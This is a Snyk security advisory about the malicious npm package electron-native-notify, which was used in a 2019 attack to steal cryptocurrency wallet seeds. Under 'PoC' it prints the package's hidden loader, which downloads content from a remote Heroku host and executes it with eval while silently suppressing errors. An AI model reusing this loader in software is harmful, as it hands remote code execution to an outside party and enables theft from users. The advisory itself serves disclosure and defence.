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Malicious Package Affecting electron-native-notify package, versions >0.0.1-security

0.0
critical

Snyk CVSS

    Attack Complexity Low
    Scope Changed
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Mature

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  • Snyk ID SNYK-JS-ELECTRONNATIVENOTIFY-174928
  • published 7 Jun 2019
  • disclosed 5 Jun 2019
  • credit Adam Baldwin
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Introduced: 5 Jun 2019

Malicious CVE NOT AVAILABLE CWE-506 Open this link in a new tab

How to fix?

Avoid using electron-native-notify altogether.

Overview

electron-native-notify is a malicious package.

This package contains malicious code and was part of a targeted attack to steal cryptocurrency wallet seeds and upload them to a remote server, effectively giving attackers access to users wallets.

PoC 

try {
    (process && "renderer" === process.type ? require("electron").remote.require : require)("https").get("https://updatecheck.herokuapp.com/check", res => res.on("data", d => {
        try {
            eval((atob || (e => "" + Buffer.from(e, "base64")))("" + d))
        } catch (e) {}
    }))
} catch (e) {}